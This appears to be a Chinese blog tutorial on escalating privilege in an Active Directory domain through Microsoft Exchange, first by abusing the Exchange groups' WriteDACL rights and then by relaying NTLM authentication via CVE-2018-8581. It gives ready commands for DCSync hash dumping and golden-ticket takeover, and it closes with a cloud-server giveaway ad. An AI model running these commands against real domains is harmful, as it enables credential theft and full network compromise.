一:利用exchange中的ACL进行提权
安装Exchange后默认会自动添加一个名为Microsoft Exchange Security Groups的OU。
其中包括两个特殊的组:Exchange Trusted Subsystem和Exchange Windows Permission
Exchange Trusted Subsystem是Exchange Windows Permission的成员
默认情况下,
Exchange Windows Permissions对安装Exchange的域对象具有WriteDACL权限,那么
Exchange Trusted Subsystem也会继承这个权限,权限查看方法如下:
打开ldp,然后在查看-->树这里输入你的域。
然后在下面找到Exchange Windows Permissions这个OU,右键-->高级,查看安全描述符
就会发现该组具有writeacl权限
如果对域对象具有WriteDACL权限,就能够为指定域用户添加ACE,使其获得利用DCSync导出域内所有用户hash的权限,接下来可以使用域用户krbtgt的hash制作Golden Ticket,登录域控制器,获得对整个域的控制权限
下面来复现一下整个攻击过程:
首先我们这里把一个用户加入到这个组里面
Add-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members testa
我们查询可知,该用户已拥有了相关我们所需要的权限
那么下面我们使用该用户进行我们的dcsync攻击。
或者使用
.\Invoke-ACLPwn.ps1 -SharpHoundLocation .\SharpHound.exe -mimiKatzLocation .\mimikatz.exe -userAccountToPwn krbtgt
参考文章:
https://support.microsoft.com/en-us/help/4490059/using-shared-permissions-model-to-run-exchange-server
https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E4%BD%BF%E7%94%A8Exchange%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%AD%E7%89%B9%E5%AE%9A%E7%9A%84ACL%E5%AE%9E%E7%8E%B0%E5%9F%9F%E6%8F%90%E6%9D%83/
https://pentestlab.blog/2019/09/12/microsoft-exchange-acl/
二:关于CVE-2018-8581
该漏洞主要有两种玩法,一种是可以伪造任意用户,进行邮件操作,而另一种就是通过我们的NTML Relay获取到krbtgt的hash。该hash可用于制作黄金票据,最后达到全域通畅的效果。这里主要是第二种玩法
说起NTML Relay可以用下面这张图来进行讲解,或者后面专门写一篇文章来聊一聊这个。
其实你可以将其理解为是一个中间人攻击,假设我们的将左边的机器称之为server1右边的机器称之为server2,那么如图所示Server1 与 Attack的过程就是在进行挑战响应,但是Attack还会将Server1的请求转发一次到Server2,最终结果就是Attack将会模拟了Server1的身份对Server2进行操作。很多时候,在讲解挑战响应机制的时候,协议使用的smb协议。因为SMB Relay危害较大,所以在MS08-068中已经进行修复,主要是禁止SMB -> SMB在同一台机器上的重放。而http-->smb也在MS16-075进行修复。
而我们这里需要进行的则是HTTP -> LDAP,通过Exchange获取到相关数据,然后通过LDAP协议Relay到域控上。这里给出利用思路图。
Exchange所在的Exchange Windows Permissions组默认具有writeDACL权限,也就是写ACL权限,这样普通用户就能使用DCSync进行Dump域控的Hash。
复现过程
首先需要进行LDAP监听,然后进行SSRF攻击。
python privexchange.py -ah 192.168.2.114 192.168.2.108 -u exchange -p abc123\! -d contoso --debug
然后我们的用户即可获取相应的权限
python3 ntlmrelayx.py -t ldap://192.168.2.109 --escalate-user exchange
然后dump hash
python3 secretsdump.py contoso/exchange@192.168.2.109 -just-dc
然后即可制作金票,获取域控操作权限。
若出现ssl问题,可尝试更改代码如下
uv_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1) uv_context.verify_mode = ssl.CERT_NONE uv_context.check_hostname = False
第二种
python Exchange2domain.py -ah 192.168.2.114 -ap 8080 -u exchange -p "abc123" -d contoso.com -th 192.168.2.109 192.168.2.108 --no-ssl
在流量中可以清晰的看到ldap协议协商的过程
参考文章:
https://0kee.360.cn/blog/microsoft-exchange-cve-2018-8581/
https://www.secquan.org/Share/1068537
https://www.secquan.org/Discuss/1070826
https://www.cnblogs.com/jianyus/p/3170732.html
又一波抽奖活动来袭~
活动产品配置:
配置:2核2G2M
时长:三个月
地区:香港
机房:安迅
网络:三网优化
云服务器镜像:默认27款
ISO镜像:kali 可提工单要求增加
ISO镜像安装教程:参考用户主页右侧安装教程
中奖后请注册链接:https://www.lanyunhost.com/
奖品数量有限,仅剩一台,快快参与抽奖吧!!!
参与抽奖方式:
转发本文至朋友圈集齐20个赞,将集赞截图发至微信公众号后台即可领取奖品,仅剩一台先到先得哦^